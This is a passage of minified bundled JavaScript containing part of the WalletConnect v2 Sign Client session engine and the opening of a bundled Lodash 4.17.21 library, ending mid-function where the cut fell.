this.client.core.verify.register({attestationId:e})}const s=await this.client.core.crypto.encode(e,o),a=Gp[t].req;return r&&(a.ttl=r),i&&(a.id=i),this.client.core.history.set(e,o),this.client.core.relayer.publish(e,s,a),o.id},this.sendResult=async(e,t,n)=>{const r=Bl(e,n),i=await this.client.core.crypto.encode(t,r),o=await this.client.core.history.get(t,e),s=Gp[o.request.method].res;this.client.core.relayer.publish(t,i,s),await this.client.core.history.resolve(r)},this.sendError=async(e,t,n)=>{const r=Hl(e,n),i=await this.client.core.crypto.encode(t,r),o=await this.client.core.history.get(t,e),s=Gp[o.request.method].res;this.client.core.relayer.publish(t,i,s),await this.client.core.history.resolve(r)},this.cleanup=async()=>{const e=[],t=[];this.client.session.getAll().forEach((t=>{Uu(t.expiry)&&e.push(t.topic)})),this.client.proposal.getAll().forEach((e=>{Uu(e.expiry)&&t.push(e.id)})),await Promise.all([...e.map((e=>this.deleteSession(e))),...t.map((e=>this.deleteProposal(e)))])},this.onRelayEventRequest=e=>{const{topic:t,payload:n}=e,r=n.method;switch(r){case"wc_sessionPropose":return this.onSessionProposeRequest(t,n);case"wc_sessionSettle":return this.onSessionSettleRequest(t,n);case"wc_sessionUpdate":return this.onSessionUpdateRequest(t,n);case"wc_sessionExtend":return this.onSessionExtendRequest(t,n);case"wc_sessionPing":return this.onSessionPingRequest(t,n);case"wc_sessionDelete":return this.onSessionDeleteRequest(t,n);case"wc_sessionRequest":return this.onSessionRequest(t,n);case"wc_sessionEvent":return this.onSessionEventRequest(t,n);default:return this.client.logger.info(`Unsupported request method ${r}`)}},this.onRelayEventResponse=async e=>{const{topic:t,payload:n}=e,r=(await this.client.core.history.get(t,n.id)).request.method;switch(r){case"wc_sessionPropose":return this.onSessionProposeResponse(t,n);case"wc_sessionSettle":return this.onSessionSettleResponse(t,n);case"wc_sessionUpdate":return this.onSessionUpdateResponse(t,n);case"wc_sessionExtend":return this.onSessionExtendResponse(t,n);case"wc_sessionPing":return this.onSessionPingResponse(t,n);case"wc_sessionRequest":return this.onSessionRequestResponse(t,n);default:return this.client.logger.info(`Unsupported response method ${r}`)}},this.onRelayEventUnknownPayload=e=>{const{topic:t}=e,{message:n}=lc("MISSING_OR_INVALID",`Decoded payload on topic ${t} is not identifiable as a JSON-RPC request or a response.`);throw new Error(n)},this.onSessionProposeRequest=async(e,t)=>{const{params:n,id:r}=t;try{this.isValidConnect(sg({},t.params));const i=ju(We.FIVE_MINUTES),o=sg({id:r,pairingTopic:e,expiry:i},n);await this.setProposal(r,o);const s=Xa(JSON.stringify(t)),a=await this.getVerifyContext(s,o.proposer.metadata);this.client.events.emit("session_proposal",{id:r,params:o,verifyContext:a})}catch(t){await this.sendError(r,e,t),this.client.logger.error(t)}},this.onSessionProposeResponse=async(e,t)=>{const{id:n}=t;if(rf(t)){const{result:r}=t;this.client.logger.trace({type:"method",method:"onSessionProposeResponse",result:r});const i=this.client.proposal.get(n);this.client.logger.trace({type:"method",method:"onSessionProposeResponse",proposal:i});const o=i.proposer.publicKey;this.client.logger.trace({type:"method",method:"onSessionProposeResponse",selfPublicKey:o});const s=r.responderPublicKey;this.client.logger.trace({type:"method",method:"onSessionProposeResponse",peerPublicKey:s});const a=await this.client.core.crypto.generateSharedKey(o,s);this.client.logger.trace({type:"method",method:"onSessionProposeResponse",sessionTopic:a});const u=await this.client.core.relayer.subscribe(a);this.client.logger.trace({type:"method",method:"onSessionProposeResponse",subscriptionId:u}),await this.client.core.pairing.activate({topic:e})}else of(t)&&(await this.client.proposal.delete(n,fc("USER_DISCONNECTED")),this.events.emit(Du("session_connect"),{error:t.error}))},this.onSessionSettleRequest=async(e,t)=>{const{id:n,params:r}=t;try{this.isValidSessionSettleRequest(r);const{relay:n,controller:i,expiry:o,namespaces:s,requiredNamespaces:a,optionalNamespaces:u,sessionProperties:c,pairingTopic:l}=t.params,f=sg({topic:e,relay:n,expiry:o,namespaces:s,acknowledged:!0,pairingTopic:l,requiredNamespaces:a,optionalNamespaces:u,controller:i.publicKey,self:{publicKey:"",metadata:this.client.metadata},peer:{publicKey:i.publicKey,metadata:i.metadata}},c&&{sessionProperties:c});await this.sendResult(t.id,e,!0),this.events.emit(Du("session_connect"),{session:f}),this.cleanupDuplicatePairings(f)}catch(t){await this.sendError(n,e,t),this.client.logger.error(t)}},this.onSessionSettleResponse=async(e,t)=>{const{id:n}=t;rf(t)?(await this.client.session.update(e,{acknowledged:!0}),this.events.emit(Du("session_approve",n),{})):of(t)&&(await this.client.session.delete(e,fc("USER_DISCONNECTED")),this.events.emit(Du("session_approve",n),{error:t.error}))},this.onSessionUpdateRequest=async(e,t)=>{const{params:n,id:r}=t;try{this.isValidUpdate(sg({topic:e},n)),await this.client.session.update(e,{namespaces:n.namespaces}),await this.sendResult(r,e,!0),this.client.events.emit("session_update",{id:r,topic:e,params:n})}catch(t){await this.sendError(r,e,t),this.client.logger.error(t)}},this.onSessionUpdateResponse=(e,t)=>{const{id:n}=t;rf(t)?this.events.emit(Du("session_update",n),{}):of(t)&&this.events.emit(Du("session_update",n),{error:t.error})},this.onSessionExtendRequest=async(e,t)=>{const{id:n}=t;try{this.isValidExtend({topic:e}),await this.setExpiry(e,ju(Wp)),await this.sendResult(n,e,!0),this.client.events.emit("session_extend",{id:n,topic:e})}catch(t){await this.sendError(n,e,t),this.client.logger.error(t)}},this.onSessionExtendResponse=(e,t)=>{const{id:n}=t;rf(t)?this.events.emit(Du("session_extend",n),{}):of(t)&&this.events.emit(Du("session_extend",n),{error:t.error})},this.onSessionPingRequest=async(e,t)=>{const{id:n}=t;try{this.isValidPing({topic:e}),await this.sendResult(n,e,!0),this.client.events.emit("session_ping",{id:n,topic:e})}catch(t){await this.sendError(n,e,t),this.client.logger.error(t)}},this.onSessionPingResponse=(e,t)=>{const{id:n}=t;setTimeout((()=>{rf(t)?this.events.emit(Du("session_ping",n),{}):of(t)&&this.events.emit(Du("session_ping",n),{error:t.error})}),500)},this.onSessionDeleteRequest=async(e,t)=>{const{id:n}=t;try{this.isValidDisconnect({topic:e,reason:t.params}),await Promise.all([new Promise((t=>{this.client.core.relayer.once(Rd.publish,(async()=>{t(await this.deleteSession(e))}))})),this.sendResult(n,e,!0)]),this.client.events.emit("session_delete",{id:n,topic:e})}catch(e){this.client.logger.error(e)}},this.onSessionRequest=async(e,t)=>{const{id:n,params:r}=t;try{this.isValidRequest(sg({topic:e},r)),await this.setPendingSessionRequest({id:n,topic:e,params:r}),this.addRequestToQueue({id:n,topic:e,params:r}),await this.processRequestQueue()}catch(t){await this.sendError(n,e,t),this.client.logger.error(t)}},this.onSessionRequestResponse=(e,t)=>{const{id:n}=t;rf(t)?this.events.emit(Du("session_request",n),{result:t.result}):of(t)&&this.events.emit(Du("session_request",n),{error:t.error})},this.onSessionEventRequest=async(e,t)=>{const{id:n,params:r}=t;try{this.isValidEmit(sg({topic:e},r)),this.client.events.emit("session_event",{id:n,topic:e,params:r})}catch(t){await this.sendError(n,e,t),this.client.logger.error(t)}},this.addRequestToQueue=e=>{this.requestQueue.requests.push(e)},this.cleanupAfterResponse=e=>{this.deletePendingSessionRequest(e.response.id,{message:"fulfilled",code:0}),setTimeout((()=>{this.requestQueue.state=Qp.idle,this.processRequestQueue()}),We.toMiliseconds(this.requestQueueDelay))},this.processRequestQueue=async()=>{if(this.requestQueue.state===Qp.active)return void this.client.logger.info("session request queue is already active.");const e=this.requestQueue.requests[0];if(e)try{const{id:t,topic:n,params:r}=e,i=Xa(JSON.stringify({id:t,params:r})),o=this.client.session.get(n),s=await this.getVerifyContext(i,o.peer.metadata);this.requestQueue.state=Qp.active,this.client.events.emit("session_request",{id:t,topic:n,params:r,verifyContext:s})}catch(e){this.client.logger.error(e)}else this.client.logger.info("session request queue is empty.")},this.isValidConnect=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`connect() params: ${JSON.stringify(e)}`);throw new Error(t)}const{pairingTopic:t,requiredNamespaces:n,optionalNamespaces:r,sessionProperties:i,relays:o}=e;if(pc(t)||await this.isValidPairingTopic(t),!jc(o,!0)){const{message:e}=lc("MISSING_OR_INVALID",`connect() relays: ${o}`);throw new Error(e)}!pc(n)&&0!==dc(n)&&this.validateNamespaces(n,"requiredNamespaces"),!pc(r)&&0!==dc(r)&&this.validateNamespaces(r,"optionalNamespaces"),pc(i)||this.validateSessionProps(i,"sessionProperties")},this.validateNamespaces=(e,t)=>{const n=Tc(e,"connect()",t);if(n)throw new Error(n.message)},this.isValidApprove=async e=>{if(!Dc(e))throw new Error(lc("MISSING_OR_INVALID",`approve() params: ${e}`).message);const{id:t,namespaces:n,relayProtocol:r,sessionProperties:i}=e;await this.isValidProposalId(t);const o=this.client.proposal.get(t),s=Mc(n,"approve()");if(s)throw new Error(s.message);const a=Wc(o.requiredNamespaces,n,"approve()");if(a)throw new Error(a.message);if(!gc(r,!0)){const{message:e}=lc("MISSING_OR_INVALID",`approve() relayProtocol: ${r}`);throw new Error(e)}pc(i)||this.validateSessionProps(i,"sessionProperties")},this.isValidReject=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`reject() params: ${e}`);throw new Error(t)}const{id:t,reason:n}=e;if(await this.isValidProposalId(t),!zc(n)){const{message:e}=lc("MISSING_OR_INVALID",`reject() reason: ${JSON.stringify(n)}`);throw new Error(e)}},this.isValidSessionSettleRequest=e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`onSessionSettleRequest() params: ${e}`);throw new Error(t)}const{relay:t,controller:n,namespaces:r,expiry:i}=e;if(!Lc(t)){const{message:e}=lc("MISSING_OR_INVALID","onSessionSettleRequest() relay protocol should be a string");throw new Error(e)}const o=Sc(n,"onSessionSettleRequest()");if(o)throw new Error(o.message);const s=Mc(r,"onSessionSettleRequest()");if(s)throw new Error(s.message);if(Uu(i)){const{message:e}=lc("EXPIRED","onSessionSettleRequest()");throw new Error(e)}},this.isValidUpdate=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`update() params: ${e}`);throw new Error(t)}const{topic:t,namespaces:n}=e;await this.isValidSessionTopic(t);const r=this.client.session.get(t),i=Mc(n,"update()");if(i)throw new Error(i.message);const o=Wc(r.requiredNamespaces,n,"update()");if(o)throw new Error(o.message)},this.isValidExtend=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`extend() params: ${e}`);throw new Error(t)}const{topic:t}=e;await this.isValidSessionTopic(t)},this.isValidRequest=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`request() params: ${e}`);throw new Error(t)}const{topic:t,request:n,chainId:r,expiry:i}=e;await this.isValidSessionTopic(t);const{namespaces:o}=this.client.session.get(t);if(!qc(o,r)){const{message:e}=lc("MISSING_OR_INVALID",`request() chainId: ${r}`);throw new Error(e)}if(!Fc(n)){const{message:e}=lc("MISSING_OR_INVALID",`request() ${JSON.stringify(n)}`);throw new Error(e)}if(!Vc(o,r,n.method)){const{message:e}=lc("MISSING_OR_INVALID",`request() method: ${n.method}`);throw new Error(e)}if(i&&!Qc(i,Yp)){const{message:e}=lc("MISSING_OR_INVALID",`request() expiry: ${i}. Expiry must be a number (in seconds) between ${Yp.min} and ${Yp.max}`);throw new Error(e)}},this.isValidRespond=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`respond() params: ${e}`);throw new Error(t)}const{topic:t,response:n}=e;if(await this.isValidSessionTopic(t),!Bc(n)){const{message:e}=lc("MISSING_OR_INVALID",`respond() response: ${JSON.stringify(n)}`);throw new Error(e)}},this.isValidPing=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`ping() params: ${e}`);throw new Error(t)}const{topic:t}=e;await this.isValidSessionOrPairingTopic(t)},this.isValidEmit=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`emit() params: ${e}`);throw new Error(t)}const{topic:t,event:n,chainId:r}=e;await this.isValidSessionTopic(t);const{namespaces:i}=this.client.session.get(t);if(!qc(i,r)){const{message:e}=lc("MISSING_OR_INVALID",`emit() chainId: ${r}`);throw new Error(e)}if(!Hc(n)){const{message:e}=lc("MISSING_OR_INVALID",`emit() event: ${JSON.stringify(n)}`);throw new Error(e)}if(!$c(i,r,n.name)){const{message:e}=lc("MISSING_OR_INVALID",`emit() event: ${JSON.stringify(n)}`);throw new Error(e)}},this.isValidDisconnect=async e=>{if(!Dc(e)){const{message:t}=lc("MISSING_OR_INVALID",`disconnect() params: ${e}`);throw new Error(t)}const{topic:t}=e;await this.isValidSessionOrPairingTopic(t)},this.getVerifyContext=async(e,t)=>{const n={verified:{verifyUrl:t.verifyUrl||"",validation:"UNKNOWN",origin:t.url||""}};try{const r=await this.client.core.verify.resolve({attestationId:e,verifyUrl:t.verifyUrl});r&&(n.verified.origin=r,n.verified.validation=r===t.url?"VALID":"INVALID")}catch(e){this.client.logger.error(e)}return this.client.logger.info(`Verify context: ${JSON.stringify(n)}`),n},this.validateSessionProps=(e,t)=>{Object.values(e).forEach((e=>{if(!gc(e,!1)){const{message:n}=lc("MISSING_OR_INVALID",`${t} must be in Record<string, string> format. Received: ${JSON.stringify(e)}`);throw new Error(n)}}))}}isInitialized(){if(!this.initialized){const{message:e}=lc("NOT_INITIALIZED",this.name);throw new Error(e)}}registerRelayerEvents(){this.client.core.relayer.on(Rd.message,(async e=>{const{topic:t,message:n}=e;if(this.ignoredPayloadTypes.includes(this.client.core.crypto.getPayloadType(n)))return;const r=await this.client.core.crypto.decode(t,n);try{tf(r)?(this.client.core.history.set(t,r),this.onRelayEventRequest({topic:t,payload:r})):nf(r)?(await this.client.core.history.resolve(r),await this.onRelayEventResponse({topic:t,payload:r}),this.client.core.history.delete(t,r.id)):this.onRelayEventUnknownPayload({topic:t,payload:r})}catch(e){this.client.logger.error(e)}}))}registerExpirerEvents(){this.client.core.expirer.on(Wd.expired,(async e=>{const{topic:t,id:n}=Lu(e.target);if(n&&this.client.pendingRequest.keys.includes(n))return await this.deletePendingSessionRequest(n,lc("EXPIRED"),!0);t?this.client.session.keys.includes(t)&&(await this.deleteSession(t,!0),this.client.events.emit("session_expire",{topic:t})):n&&(await this.deleteProposal(n,!0),this.client.events.emit("proposal_expire",{id:n}))}))}isValidPairingTopic(e){if(!gc(e,!1)){const{message:t}=lc("MISSING_OR_INVALID",`pairing topic should be a string: ${e}`);throw new Error(t)}if(!this.client.core.pairing.pairings.keys.includes(e)){const{message:t}=lc("NO_MATCHING_KEY",`pairing topic doesn't exist: ${e}`);throw new Error(t)}if(Uu(this.client.core.pairing.pairings.get(e).expiry)){const{message:t}=lc("EXPIRED",`pairing topic: ${e}`);throw new Error(t)}}async isValidSessionTopic(e){if(!gc(e,!1)){const{message:t}=lc("MISSING_OR_INVALID",`session topic should be a string: ${e}`);throw new Error(t)}if(!this.client.session.keys.includes(e)){const{message:t}=lc("NO_MATCHING_KEY",`session topic doesn't exist: ${e}`);throw new Error(t)}if(Uu(this.client.session.get(e).expiry)){await this.deleteSession(e);const{message:t}=lc("EXPIRED",`session topic: ${e}`);throw new Error(t)}}async isValidSessionOrPairingTopic(e){if(this.client.session.keys.includes(e))await this.isValidSessionTopic(e);else{if(!this.client.core.pairing.pairings.keys.includes(e)){if(gc(e,!1)){const{message:t}=lc("NO_MATCHING_KEY",`session or pairing topic doesn't exist: ${e}`);throw new Error(t)}{const{message:t}=lc("MISSING_OR_INVALID",`session or pairing topic should be a string: ${e}`);throw new Error(t)}}this.isValidPairingTopic(e)}}async isValidProposalId(e){if(!Uc(e)){const{message:t}=lc("MISSING_OR_INVALID",`proposal id should be a number: ${e}`);throw new Error(t)}if(!this.client.proposal.keys.includes(e)){const{message:t}=lc("NO_MATCHING_KEY",`proposal id doesn't exist: ${e}`);throw new Error(t)}if(Uu(this.client.proposal.get(e).expiry)){await this.deleteProposal(e);const{message:t}=lc("EXPIRED",`proposal id: ${e}`);throw new Error(t)}}}class cg extends Op{constructor(e,t){super(e,t,qp,Fp),this.core=e,this.logger=t}}class lg extends Op{constructor(e,t){super(e,t,$p,Fp),this.core=e,this.logger=t}}class fg extends Op{constructor(e,t){super(e,t,Jp,Fp,(e=>e.id)),this.core=e,this.logger=t}}class hg extends tr{constructor(e){super(e),this.protocol=Up,this.version=Dp,this.name=Bp.name,this.events=new o.exports.EventEmitter,this.on=(e,t)=>this.events.on(e,t),this.once=(e,t)=>this.events.once(e,t),this.off=(e,t)=>this.events.off(e,t),this.removeListener=(e,t)=>this.events.removeListener(e,t),this.removeAllListeners=e=>this.events.removeAllListeners(e),this.connect=async e=>{try{return await this.engine.connect(e)}catch(e){throw this.logger.error(e.message),e}},this.pair=async e=>{try{return await this.engine.pair(e)}catch(e){throw this.logger.error(e.message),e}},this.approve=async e=>{try{return await this.engine.approve(e)}catch(e){throw this.logger.error(e.message),e}},this.reject=async e=>{try{return await this.engine.reject(e)}catch(e){throw this.logger.error(e.message),e}},this.update=async e=>{try{return await this.engine.update(e)}catch(e){throw this.logger.error(e.message),e}},this.extend=async e=>{try{return await this.engine.extend(e)}catch(e){throw this.logger.error(e.message),e}},this.request=async e=>{try{return await this.engine.request(e)}catch(e){throw this.logger.error(e.message),e}},this.respond=async e=>{try{return await this.engine.respond(e)}catch(e){throw this.logger.error(e.message),e}},this.ping=async e=>{try{return await this.engine.ping(e)}catch(e){throw this.logger.error(e.message),e}},this.emit=async e=>{try{return await this.engine.emit(e)}catch(e){throw this.logger.error(e.message),e}},this.disconnect=async e=>{try{return await this.engine.disconnect(e)}catch(e){throw this.logger.error(e.message),e}},this.find=e=>{try{return this.engine.find(e)}catch(e){throw this.logger.error(e.message),e}},this.getPendingSessionRequests=()=>{try{return this.engine.getPendingSessionRequests()}catch(e){throw this.logger.error(e.message),e}},this.name=e?.name||Bp.name,this.metadata=e?.metadata||Eu();const t=typeof e?.logger<"u"&&"string"!=typeof e?.logger?e.logger:un.pino(un.getDefaultLoggerOptions({level:e?.logger||Bp.logger}));this.core=e?.core||new jp(e),this.logger=un.generateChildLogger(t,this.name),this.session=new lg(this.core,this.logger),this.proposal=new cg(this.core,this.logger),this.pendingRequest=new fg(this.core,this.logger),this.engine=new ug(this)}static async init(e){const t=new hg(e);return await t.initialize(),t}get context(){return un.getLoggerContext(this.logger)}get pairing(){return this.core.pairing.pairings}async initialize(){this.logger.trace("Initialized");try{await this.core.start(),await this.session.init(),await this.proposal.init(),await this.pendingRequest.init(),await this.engine.init(),this.core.verify.init({verifyUrl:this.metadata.verifyUrl}),this.logger.info("SignClient Initialization Success")}catch(e){throw this.logger.info("SignClient Initialization Failure"),this.logger.error(e.message),e}}}const dg="error",pg="wss://relay.walletconnect.com",gg="wc@2:universal_provider:",yg="https://rpc.walletconnect.com/v1",vg={DEFAULT_CHAIN_CHANGED:"default_chain_changed"};var mg,_g,bg={exports:{}};
322
- /**
323
- * @license
324
- * Lodash <https://lodash.com/>
325
- * Copyright OpenJS Foundation and other contributors <https://openjsf.org/>
326
- * Released under MIT license <https://lodash.com/license>
327
- * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>
328
- * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
329
- */mg=bg,_g=bg.exports,function(){var e,n="4.17.21",r=200,i="Unsupported core-js use. Try https://npms.io/search?q=ponyfill.",o="Expected a function",s="Invalid `variable` option passed into `_.template`",a="__lodash_hash_undefined__",u=500,c="__lodash_placeholder__",l=1,f=2,h=4,d=1,p=2,g=1,y=2,v=4,m=8,_=16,b=32,w=64,E=128,S=256,O=512,x=30,I="...",R=800,k=16,C=1,P=2,A=3,N=1/0,T=9007199254740991,M=17976931348623157e292,L=NaN,j=4294967295,U=j-1,D=j>>>1,z=[["ary",E],["bind",g],["bindKey",y],["curry",m],["curryRight",_],["flip",O],["partial",b],["partialRight",w],["rearg",S]],F="[object Arguments]",B="[object Array]",H="[object AsyncFunction]",q="[object Boolean]",V="[object Date]",$="[object DOMException]",W="[object Error]",K="[object Function]",G="[object GeneratorFunction]",Y="[object Map]",Q="[object Number]",J="[object Null]",X="[object Object]",Z="[object Promise]",ee="[object Proxy]",te="[object RegExp]",ne="[object Set]",re="[object String]",ie="[object Symbol]",oe="[object Undefined]",se="[object WeakMap]",ae="[object WeakSet]",ue="[object ArrayBuffer]",ce="[object DataView]",le="[object Float32Array]",fe="[object Float64Array]",he="[object Int8Array]",de="[object Int16Array]",pe="[object Int32Array]",ge="[object Uint8Array]",ye="[object Uint8ClampedArray]",ve="[object Uint16Array]",me="[object Uint32Array]",_e=/\b__p \+= '';/g,be=/\b(__p \+=) '' \+/g,we=/(__e\(.*?\)|\b__t\)) \+\n'';/g,Ee=/&(?:amp|lt|gt|quot|#39);/g,Se=/[&<>"']/g,Oe=RegExp(Ee.source),xe=RegExp(Se.source),Ie=/<%-([\s\S]+?)%>/g,Re=/<%([\s\S]+?)%>/g,ke=/<%=([\s\S]+?)%>/g,Ce=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,Pe=/^\w*$/,Ae=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,Ne=/[\\^$.*+?()[\]{}|]/g,Te=RegExp(Ne.source),Me=/^\s+/,Le=/\s/,je=/\{(?:\n\/\* \[wrapped with .+\] \*\/)?\n?/,Ue=/\{\n\/\* \[wrapped with (.+)\] \*/,De=/,? & /,ze=/[^\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f]+/g,Fe=/[()=,{}\[\]\/\s]/,Be=/\\(\\)?/g,He=/\$\{([^\\}]*(?:\\.[^\\}]*)*)\}/g,qe=/\w*$/,Ve=/^[-+]0x[0-9a-f]+$/i,$e=/^0b[01]+$/i,We=/^\[object .+?Constructor\]$/,Ke=/^0o[0-7]+$/i,Ge=/^(?:0|[1-9]\d*)$/,Ye=/[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g,Qe=/($^)/,Je=/['\n\r\u2028\u2029\\]/g,Xe="\\ud800-\\udfff",Ze="\\u0300-\\u036f\\ufe20-\\ufe2f\\u20d0-\\u20ff",et="\\u2700-\\u27bf",tt="a-z\\xdf-\\xf6\\xf8-\\xff",nt="A-Z\\xc0-\\xd6\\xd8-\\xde",rt="\\ufe0e\\ufe0f",it="\\xac\\xb1\\xd7\\xf7\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf\\u2000-\\u206f \\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000",ot="['’]",st="["+Xe+"]",at="["+it+"]",ut="["+Ze+"]",ct="\\d+",lt="["+et+"]",ft="["+tt+"]",ht="[^"+Xe+it+ct+et+tt+nt+"]",dt="\\ud83c[\\udffb-\\udfff]",pt="[^"+Xe+"]",gt="(?:\\ud83c[\\udde6-\\uddff]){2}",yt="[\\ud800-\\udbff][\\udc00-\\udfff]",vt="["+nt+"]",mt="\\u200d",_t="(?:"+ft+"|"+ht+")",bt="(?:"+vt+"|"+ht+")",wt="(?:"+ot+"(?:d|ll|m|re|s|t|ve))?",Et="(?:"+ot+"(?:D|LL|M|RE|S|T|VE))?",St="(?:"+ut+"|"+dt+")?",Ot="["+rt+"]?",xt="\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])",It="\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])",Rt=Ot+St+"(?:"+mt+"(?:"+[pt,gt,yt].join("|")+")"+Ot+St+")*",kt="(?:"+[lt,gt,yt].join("|")+")"+Rt,Ct="(?:"+[pt+ut+"?",ut,gt,yt,st].join("|")+")",Pt=RegExp(ot,"g"),At=RegExp(ut,"g"),Nt=RegExp(dt+"(?="+dt+")|"+Ct+Rt,"g"),Tt=RegExp([vt+"?"+ft+"+"+wt+"(?="+[at,vt,"$"].join("|")+")",bt+"+"+Et+"(?="+[at,vt+_t,"$"].join("|")+")",vt+"?"+_t+"+"+wt,vt+"+"+Et,It,xt,ct,kt].join("|"),"g"),Mt=RegExp("["+mt+Xe+Ze+rt+"]"),Lt=/[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/,jt=["Array","Buffer","DataView","Date","Error","Float32Array","Float64Array","Function","Int8Array","Int16Array","Int32Array","Map","Math","Object","Promise","RegExp","Set","String","Symbol","TypeError","Uint8Array","Uint8ClampedArray","Uint16Array","Uint32Array","WeakMap","_","clearTimeout","isFinite","parseInt","setTimeout"],Ut=-1,Dt={};Dt[le]=Dt[fe]=Dt[he]=Dt[de]=Dt[pe]=Dt[ge]=Dt[ye]=Dt[ve]=Dt[me]=!0,Dt[F]=Dt[B]=Dt[ue]=Dt[q]=Dt[ce]=Dt[V]=Dt[W]=Dt[K]=Dt[Y]=Dt[Q]=Dt[X]=Dt[te]=Dt[ne]=Dt[re]=Dt[se]=!1;var zt={};zt[F]=zt[B]=zt[ue]=zt[ce]=zt[q]=zt[V]=zt[le]=zt[fe]=zt[he]=zt[de]=zt[pe]=zt[Y]=zt[Q]=zt[X]=zt[te]=zt[ne]=zt[re]=zt[ie]=zt[ge]=zt[ye]=zt[ve]=zt[me]=!0,zt[W]=zt[K]=zt[se]=!1;var Ft={"À":"A","Á":"A","Â":"A","Ã":"A","Ä":"A","Å":"A","à":"a","á":"a","â":"a","ã":"a","ä":"a","å":"a","Ç":"C","ç":"c","Ð":"D","ð":"d","È":"E","É":"E","Ê":"E","Ë":"E","è":"e","é":"e","ê":"e","ë":"e","Ì":"I","Í":"I","Î":"I","Ï":"I","ì":"i","í":"i","î":"i","ï":"i","Ñ":"N","ñ":"n","Ò":"O","Ó":"O","Ô":"O","Õ":"O","Ö":"O","Ø":"O","ò":"o","ó":"o","ô":"o","õ":"o","ö":"o","ø":"o","Ù":"U","Ú":"U","Û":"U","Ü":"U","ù":"u","ú":"u","û":"u","ü":"u","Ý":"Y","ý":"y","ÿ":"y","Æ":"Ae","æ":"ae","Þ":"Th","þ":"th","ß":"ss","Ā":"A","Ă":"A","Ą":"A","ā":"a","ă":"a","ą":"a","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","ć":"c","ĉ":"c","ċ":"c","č":"c","Ď":"D","Đ":"D","ď":"d","đ":"d","Ē":"E","Ĕ":"E","Ė":"E","Ę":"E","Ě":"E","ē":"e","ĕ":"e","ė":"e","ę":"e","ě":"e","Ĝ":"G","Ğ":"G","Ġ":"G","Ģ":"G","ĝ":"g","ğ":"g","ġ":"g","ģ":"g","Ĥ":"H","Ħ":"H","ĥ":"h","ħ":"h","Ĩ":"I","Ī":"I","Ĭ":"I","Į":"I","İ":"I","ĩ":"i","ī":"i","ĭ":"i","į":"i","ı":"i","Ĵ":"J","ĵ":"j","Ķ":"K","ķ":"k","ĸ":"k","Ĺ":"L","Ļ":"L","Ľ":"L","Ŀ":"L","Ł":"L","ĺ":"l","ļ":"l","ľ":"l","ŀ":"l","ł":"l","Ń":"N","Ņ":"N","Ň":"N","Ŋ":"N","ń":"n","ņ":"n","ň":"n","ŋ":"n","Ō":"O","Ŏ":"O","Ő":"O","ō":"o","ŏ":"o","ő":"o","Ŕ":"R","Ŗ":"R","Ř":"R","ŕ":"r","ŗ":"r","ř":"r","Ś":"S","Ŝ":"S","Ş":"S","Š":"S","ś":"s","ŝ":"s","ş":"s","š":"s","Ţ":"T","Ť":"T","Ŧ":"T","ţ":"t","ť":"t","ŧ":"t","Ũ":"U","Ū":"U","Ŭ":"U","Ů":"U","Ű":"U","Ų":"U","ũ":"u","ū":"u","ŭ":"u","ů":"u","ű":"u","ų":"u","Ŵ":"W","ŵ":"w","Ŷ":"Y","ŷ":"y","Ÿ":"Y","Ź":"Z","Ż":"Z","Ž":"Z","ź":"z","ż":"z","ž":"z","IJ":"IJ","ij":"ij","Œ":"Oe","œ":"oe","ʼn":"'n","ſ":"s"},Bt={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"},Ht={"&amp;":"&","&lt;":"<","&gt;":">","&quot;":'"',"&#39;":"'"},qt={"\\":"\\","'":"'","\n":"n","\r":"r","\u2028":"u2028","\u2029":"u2029"},Vt=parseFloat,$t=parseInt,Wt="object"==typeof t&&t&&t.Object===Object&&t,Kt="object"==typeof self&&self&&self.Object===Object&&self,Gt=Wt||Kt||Function("return this")(),Yt=_g&&!_g.nodeType&&_g,Qt=Yt&&mg&&!mg.nodeType&&mg,Jt=Qt&&Qt.exports===Yt,Xt=Jt&&Wt.process,Zt=function(){try{return Qt&&Qt.require&&Qt.require("util").types||Xt&&Xt.binding&&Xt.binding("util")}catch{}}(),en=Zt&&Zt.isArrayBuffer,tn=Zt&&Zt.isDate,nn=Zt&&Zt.isMap,rn=Zt&&Zt.isRegExp,on=Zt&&Zt.isSet,sn=Zt&&Zt.isTypedArray;function an(e,t,n){switch(n.length){case 0:return e.call(t);case 1:return e.call(t,n[0]);case 2:return e.call(t,n[0],n[1]);case 3:return e.call(t,n[0],n[1],n[2])}return e.apply(t,n)}function un(e,t,n,r){for(var i=-1,o=null==e?0:e.length;++i<o;){var s=e[i];t(r,s,n(s),e)}return r}function cn(e,t){for(var n=-1,r=null==e?0:e.length;++n<r&&!1!==t(e[n],n,e););return e}function ln(e,t){for(var n=null==e?0:e.length;n--&&!1!==t(e[n],n,e););return e}function fn(e,t){for(var 